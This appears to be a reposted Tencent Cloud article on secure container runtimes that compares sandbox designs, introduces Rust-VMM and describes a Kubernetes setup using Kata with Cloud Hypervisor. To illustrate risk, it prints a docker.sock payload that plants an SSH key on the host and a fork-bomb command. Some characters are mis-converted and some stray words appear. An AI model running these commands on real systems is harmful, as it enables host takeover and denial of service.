基於Rust-vmm實現Kubernetes運行時

隨着容器及K8s的普遍使用,愈來愈多的容器安全與隔離問題被暴露出來,如:容器逃逸、水平攻擊、DDos攻擊等嚴重威脅了辦公和生產環境的安全與穩定,影響了業務的正常運行。安全容器技術孕育而生,產生了kata、gVisor、unikernel等多種安全容器方案。本文旨在介紹各類安全容器方案,分析各方案特色,結合騰訊在容器安全領域的實踐,幫助讀者選擇適合自身特性的容器運行時。同時引入Rust-VMM項目,介紹 Rust-VMM 技術和生態,演示如何使用K8s調度和啓用Rust-VMM安全容器運行時,展望以Rust語言實現的容器運行時的廣闊前景。html

容器安全與隔離

一個基於K8s集羣構建的基礎設施中,內部存在不一樣層次的隔離,從容器到Pod再到節點最後到cluster,每一層隔離都有它的特色和特性,咱們尤爲關注Pod級別的隔離特性。python

相比其餘層次的安全隔離,Pod及容器級別的隔離對咱們的挑戰很是大。容器在運行時使用root運行進程,儘管使用namespace技術爲容器空間內的pid、uts、fib等進行了隔離,但因爲各個容器共享系統內核,容器與內核間缺少隔離保護,容易引起容器逃逸等安全問題,典型容器逃逸攻擊如:CVE-2018-1463四、CVE-2016-519五、CVE-2019-5736 及 CVE-2019-14271等。linux

docker.vh.neargle.com:8888/?command_exec=python3 -c "import docker;client = docker.DockerClient(base_url='unix:///var/run/docker.sock');data = client.containers.run('alpine:latest', r'''sh -c \"echo 'ssh-rsa xxxxx root@620e839e9b02' >> /tmp/root/root/.ssh/authorized_keys\" ''', remove=True, volumes={'/': {'bind': '/tmp/root', 'mode': 'rw'}})"

上述腳本是一個簡單的例子,這段代碼會向docker.sock的端口發起請求,拉起一個alpine的容器,容器內進程會向所在主機注入一段SSH的公鑰。在容器裏的惡意用戶或者攻擊者,就能夠獲輕鬆得這個容器所在host主機的SSH的登陸權限,從而可以非法查看同主機其餘容器空間的信息,篡改關鍵文件或記錄,甚至以主機爲跳板攻擊整個集羣。git

還有一個就是Noisy Neighbor,就是吵鬧鄰居問題。關於Noisy Neighbor,容器方面已經有了不少進展,好比對於CPU、memory、bandwidth甚至是buffer IO,基於Cgroup對這些資源已經有了一些隔離和限制,可是這些限制並不能徹底解決Noisy Neighbor的問題,仍是有一些吵鬧的進程會影響到正常的業務進程的運行。github

# kubectl run --rm -it bb --image=busybox sh
/ #  f(){ f|f& };f                   # WARNING: Don't try this!

上面是一個簡單的例子,啓動一個busybox的容器,在裏面執行一個嵌套循環的指令,會把這臺主機上全部的file descriptor所有耗盡,形成這臺主機上正常運行的業務進程工做不正常,這個是Noisy Neighbor的風險和問題。golang

對於上述問題,建議用戶關注官方的漏洞報告,升級操做系統或docker的版本,根據安全指引配置容器環境,同時能夠參考如下措施加強容器集羣的安全防禦級別。chrome

  • 在物理層面上隔離,爲不一樣的租戶之間劃分不一樣的Hardware Isolation域,讓不一樣的租戶使用不一樣的硬件空間,從物理上、網絡上以及存儲上完全的隔離,這也是最直接最有效的方法。
  • 利用一些Security Tools,包括常常用的SElinux或者Cgroup隔離,劃分不一樣的資源訪問和安全規則,可是這些安全規則須要編寫大量的profile文件,實現起來難度頗大。
  • 入侵檢測機制,主機防護的一種手段。入侵檢測的軟件或者進程會監控這臺主機上有風險的進程或者有風險的文件,對於這些文件的讀寫操做都會有安全方面的記錄,會即時預警,即時響應。好比對於containerd-shim/busybox/docker-runc的關鍵進程,好比docker-runc對於bash、init或者對於fd的訪問均可以作到即時的預警和標記。對於上面提到的容器逃離漏洞,經過入侵檢測的機制,就能夠有一個比較有效的防護。
  • 定製Linux Kernel Patch,一些特殊的資源隔離或者安全漏洞,也能夠爲kernel打一些自身特有的patch來加以防範,可是這裏的patch面臨的問題是多種多樣的,因此這裏就再也不展開細講了,若是有關注的同窗能夠參考一下騰訊對於Linux Kernel方面的一些文章和報道。

容器運行時

上述安全實踐方案和措施可以很大程度的減小對外提供服務時受攻擊的範圍,提升容器服務的安全能力。但咱們仍然想要尋找一種簡單的、有效的、統一的runtime解決方法,咱們把眼光投入到CNCF runtime landscape,能夠看到有多種解決方案。docker

簡單梳理一下這些解決方案,都是按照兩大標準劃分的。一個就是CRI的標準,偏向於kubelet或者K8s這一側的標準。還有一側的標準就是OCI,就是偏向於容器底層基礎實現。瀏覽器

能夠看到OCI這邊有不少種實現方案,簡單梳理一下,劃分了一個表格:安全

OCI Solution OCI Compatible Dedicated Docker Image Implementation Language Open source Hot plug Direct access to HW Required Hypervisors Backed by
Runc yes yes golang yes no yes None Docker
gVisor + runsc yes yes golang yes no no none or kvm Google
Kata + qemu yes yes golang,C yes yes yes kvm Hyper
Firecracker + Firecracker containerd no yes Rust,golang yes no no kvm Amazon
Nabla + runnc yes no C,golang yes no no None IBM

簡單介紹一下,好比有runc的方案,就是基於原生namespace的容器方案,docker使用的,containerd直接對接的runc的方案。GVisor是谷歌開源出來的一種基於用戶態的內核進程的安全沙箱技術的方案。Kata和qemu的基於虛擬化實現安全容器,這個如今也是比較熱門,使用比較普遍的一種方案。Firecracker,由AWS開源出來的,Firecracker Containerd是對接OCI標準的組件,但如今尚未徹底對接OCI標準,因此這裏是有所欠缺的。最後是Nabla, runnc是Nabla對接OCI實現的一個組件,Nabla是IBM開源的一套安全容器的方案,可是它跟上述的一些方案有所區別,它是一個基於unikernel的方案,把業務應用和內核徹底編譯在了一塊兒,直接運行在host上面,因此能夠看到它跟其餘的方案不同的就是它不能直接使用容器的鏡像,須要本身編譯一個帶着內核的特殊鏡像,因此用起來不太符合容器的標準。

比較下來,典型的三種安全容器方案就是runc,kata-runtime,以及 gvisor 方案。

三種方案各有優缺點,從架構來講,runc的方案最簡單,直接用原生的namespace的方案。kata是基於hypervisor的方案,就是基於虛擬化的方案,因此它的每個容器或者它的容器是運行在一個一個guest kernel上面,就是guest的虛擬機裏,而後會有一個kata agent負責runtime跟底層真正跑的container的進行通訊。GVisor是介於runc和kata runtime之間,它不像Kata有一個虛擬化的Guest Kernel的存在,它是把Guest Kernel變成了一個運行於用戶態的一個內核的進程叫作Sentry,Gofer是它IO的組件,核心的sentry負責的就是攔截和劫持全部運行在它的沙箱裏面容器的全部的Syscall,對系統調用進行過濾和保護。

Solution Typical Software Bullet Point
Rule-based Sandbox RunC Needs to work with SELinux, AppArmor, Seccomp, cgroup
VM-based Sandbox Kata-container BareMetal Only, Heavy control logic
Application kernel based Sandbox gVisor Compatibility problem, Bottleneck in Sentry

最後彙總比較一下,runc的方案實現最簡單,並且它的性能也是最好的。可是一大缺點就是安全隔離的特性不夠安全,因此須要大量的外部Security Tools的保護。 基於kata的虛擬化的沙箱方案,它只能運行在支持KVM虛擬化的環境上面,由於他的虛擬層是基於KVM實現的。Kata的邏輯的鏈路很長,調用的路徑也很是長,會形成一些性能上的損耗,也會有一些問題。 GVisor介於二者之間,可是GVisor如今的問題就是它的兼容性不夠,300多個系統調用只能兼容裏面的一部分,而且Sentry的做爲核心會有一些性能瓶頸。

騰訊雲在安全容器上融合和上述方案的優勢,結合騰訊雲在虛擬化,存儲和網絡方面的優點, 選擇使用mVMd + QEMU + EKLET的方案,實現一個彈性的Kubernetes的服務,即EKS,你們能夠訪問一下騰訊雲的官網,看一下EKS的介紹。

EKS是基於Hypervisor的虛擬化的解決方案,不一樣於Kata,EKS使用的containerd + mVMd組件更加輕量,調用路徑更短。經過containrtd + mVMd來實現對於上層K8s調用的CRI的解析,而且把它轉化成真正對於底層一個一個Guest VM或者QEMU的控制指令,在guest VM裏會啓動相應的containers容器。

在整個的架構中,在Runtime方面最大的瓶頸是QEMU,由於QEMU有幾十年的歷史了,因此存在着它比較臃腫,反應慢,佔用的資源多等等問題。因此讓QEMU做爲底層Runtime還不夠快,不夠安全。爲了加強QEMU的性能和安全特性,咱們很天然把眼光投向了Rust-Vmm。

Rust-Vmm 介紹

Rust-Vmm是一個開源工程,是一個能夠自由定製的VMM(virtual machine monitor)虛擬機管理器,用戶能夠按照本身的方式訂製它。它是基於Rust語言實現的VMM,有着Rust語言帶來的優勢和特性。

首先,Rust語言一個內存安全的語言,相比於用C或者C++會頻繁遇到的各類內存的問題,好比內存的溢出、空指針、野指針、越界訪問等等,更進一步會形成安全的問題、性能的問題,以及各類崩潰的問題。Rust語言很好地解決了這一點,從它的語法、編譯規則等杜絕了內存級別訪問的漏洞以及風險,因此用Rust寫的Rust-Vmm自然的就是內存安全的。

第二,Rust-Vmm是不易被攻擊的,Rust-VMM是從零開始的,它是從最小的硬件虛擬化出發的,最小的硬件虛擬化意味着它有着最小的攻擊面,被攻擊的面就很是少,因此它會很安全。

第三,Rust-Vmm可以很靈活的定製。Rust-VMM能夠靈活定製它的每個組件,全部的對於設備的模擬或者關鍵特性的處理都是封裝成了一個一個的Rust-Vmm crates包,好比有VCPU,有linuxloader,vm-virtIO等等。其中crates是Rust語言中的包管理工具,能夠理解JAVA或golang裏面的package,它是以發行不一樣的包或者庫的形式對外發布它的feature。

第四,Rust-Vmm有很是高的性能,基於Rust語言的without garbage collection特性,它是沒有GC回收檢查機制的,不像JAVA或者其餘更高級的語言會有一個runtime,Rust-Vmm的性能上會更好,同時基於KVM實現的虛擬化方案也是性能的保證。

簡單介紹一下Rust-Vmm的一個歷史,它是由谷歌首先實現的,谷歌首先實現一個Rust based的輕量級的VMM,它叫作crosVM,你們也能夠從連接裏面看到,它是一個爲chrome瀏覽器作的一個微內核。而後AWS,亞馬遜基於谷歌開源出來的crosVM,實現了本身的基於rust的VMM叫Firecracker。兩個項目的開發人員會發現作這兩個項目的時候,會有不少重複的重疊的通用的代碼,很天然的把能夠開源的、通用的部分結合到一塊,就有了Rust-Vmm的項目。

從這個全景圖裏面能夠看到,Rust-Vmm應用在多個項目和產品中。從最開始的谷歌開源的crosVM裏面會有Rust-Vmm,好比AWS的Firecracker、以及其它CSP雲服務器廠商,好比QEMU裏面會把一些耗時的或者內存訪問的部分也用Rust-Vmm實現,還有開源的Cloud Hypervisor項目。

Cloud Hypervisor是Intel開源出來的一套框架,把Rust-Vmm的組件組合在一塊兒,可以對外提供一個VMM的完整服務。用戶能夠配置使用已公開發布的crates包,或集成本身的開發的crates包,經過將各類crates包組合在一塊兒,就能夠生成一個訂製的安全的高性能的VMM。

基於 Rust-Vmm 實現 K8s Runtime

講到這裏,基於Rust-VMM的一個實現,組件、原料和全部的知識都已經具有了,接下來就是如何對接K8s,基於Rust-VMM實現Kubernetes runtime,運行一個Kubernetes的Pod。

測試環境如圖所示,用到了包括K8s, containerd, Kata, Rust-Vmm, Cloud Hypervisor等開源項目,首先咱們配置Kubernetes節點上的kubelet使用的runtime爲containerd, 在containerd上配置了Kata-runtime做爲容器的運行時,再配置了Kata-runtime使用的vmm爲基於Rust-Vmm crates構建的Cloud Hypervisor,同時爲了提高性能,這裏也是用了virtos-fs技術來承載物理機上的容器鏡像到子機內容器的imagefs的共享,因此在物理機上須要額外開啓virtiofsd的進程,在guest os的內核上也是使用最新的包含virtio-fs支持的內核版本。

在K8s上建立一個Pod後,調度器調度這個Pod到咱們這個環境上的一個worker節點,節點上的kubelet進程根據咱們的配置調用containerd,containerd的runtime插件kata來建立Cloud Hypervisor的vmm(virtual machine monitor),在子機內預置的Guest OS操做系統啓動後,kata-agent也隨之啓動,成功創建母機與子機的通道,後續cri協議中的createcontainer,startcontainer以及中止容器等接口也由這個通道傳遞到子機內的kata-agent,由其來調用子機內真正的容器運行時,從而完成整個pod的生命週期。

咱們來看一下最終咱們達到的一個效果,如圖中第一條指令,咱們執行kubectl get pod命令能夠看到pod的狀態爲運行中,一樣的,咱們也能夠經過crictl pods命令查詢到這個Pod的狀態。經過ps查詢進程列表,能夠看到包含這個pod id的kata shim進程,virtiofsd進程以及cloud-hypervisor這個vmm的進程。最後咱們也能夠經過kubectl exec -it交互式的進入pod的container內,經過uname返回此容器使用的內核版本爲5.6,物理機的內核版本爲5.4。

總結與展望

最後是對將來的展望,基於Rust-Vmm咱們想要作得更多。好比但願擴展一下Rust-Vmm在網絡以及存儲方面的一些特性,尤爲是在騰訊雲的環境裏面,經過結合CBS和VPC,提高Runtime的性能。

第二,會結合入侵檢測、主機安全、安全工具等,把它們融合在一塊兒,構建起一個多維的、多重防禦的一套全維度安全的容器服務平臺,Rust-VMM會實現裏面的一部分。

第三,擴展Rust Runtime,尤爲在邊緣計算領域,在邊緣端可以實現K8s如下徹底由Rust接管,由Rust語言所有重寫,好比底層的Containerd、 shim等組件,變成一個Full Stack Rust的實現。

最後,由於Rust-VMM也是基於hypervisor的一個實現,因此基於hypervisor的一些特性,好比熱遷移、備份、回滾這些機制,將來均可以在Rust-Vmm上有所實現,這個也是咱們的將來的一個設想。

最後你們若是想要了解更多關於我剛纔介紹的K8s Runtime,Rust-Vmm以及EKS方面的知識,你們能夠掃描下方的二維碼加入騰訊雲容器團隊的公衆號。

或者點擊下方的網址瞭解TKE的公有云產品。騰訊雲對外也有一個開源出來的項目叫作TKEstack,你們能夠從下方的github網址訪問獲得,也但願你們多多支持。

最後若是你們有興趣,立志於開源事業,立志於CNCF的雲原生事業,也歡迎你們加入騰訊的團隊。連接就在上方,歡迎你們加入咱們。

Q&A

  1. 如今的Rust-VMM項目開源了,哪裏能夠看到項目相關的信息?

    Rust-VMM是有谷歌,也有亞馬遜、英特爾,也有業內的廠商共同開源出來的一個項目,相關的信息你們能夠從github(https://github.com/rust-vmm)上面找到它們開源的項目,另外google一下就能夠找到這個項目更多的信息。

  2. 基於Rust-Vmm成熟度如何,基於Rust-Vmm構建的安全容器主要解決了哪些難題。

    你們能夠對比一下AWS開源的Firecracker,它就是基於Rust-Vmm實現的一套亞馬遜本身的方案,並且這套方案已經應用在了亞馬遜fargate以及lambda的項目,serverless的解決方案裏面。因此基於Rust-Vmm這種項目的成熟度,亞馬遜已經把它作到商用了,這一點是有所保證的。

    可是Rust-Vmm自己又是開源的項目,它是跟AWS的firecracker有不太同樣的地方,成熟度方面確定是有所欠缺的,須要廠商本身維護和保證質量問題或者安全問題。

    所以我想說基於Rust-Vmm實現的方案,亞馬遜已經幫咱們作了前驅的工做,已經幫咱們作了一個商業上的試水,因此這個是沒有問題的。

  3. 是否如今的公有云容器運行時都不傾向於使用runc。

    不是不使用runc,使用runc有一些隔離的問題。好比兩個租戶共用一個物理資源池,或者兩個租戶的容器運行在一個物理節點上,這個時候就帶來了容器逃離以及吵鬧鄰居的問題,多租戶的場景下或者serverless的場景下就會有這種問題。

    因此大部分的公有云廠商的解決方案其實就是物理隔離。一個租戶所在的物理主機都是屬於本身的,屬於同一個租戶的,因此你會發現某一個用戶假如從一個容器裏面逃離出去以後,逃離出去的這臺主機仍是本身的,因此這樣逃出去,從物理上面還有安全防禦的。

    可是這種面對於serverless的場景,serverless自然的就是要脫離主機的管理、脫離主機的隔離,因此serverless場景下,跟公有云的容器服務就有所區別,它就不能簡單靠物理隔離的方式實現的,它就要考慮沙箱(安全容器)的技術,好比像剛纔我也介紹了多種多樣的沙箱隔離的技術,咱們可能選擇的就是這種基於hypervisor的實現方案。

    若是感興趣,您能夠訪問一下騰訊雲的官網,看一下里面EKS相關的介紹,這個就是騰訊對於這一領域的解決方案和貢獻。 【騰訊雲原生】雲說新品、雲研新術、雲遊新活、雲賞資訊,掃碼關注同名公衆號,及時獲取更多幹貨!!

相關文章
相關標籤/搜索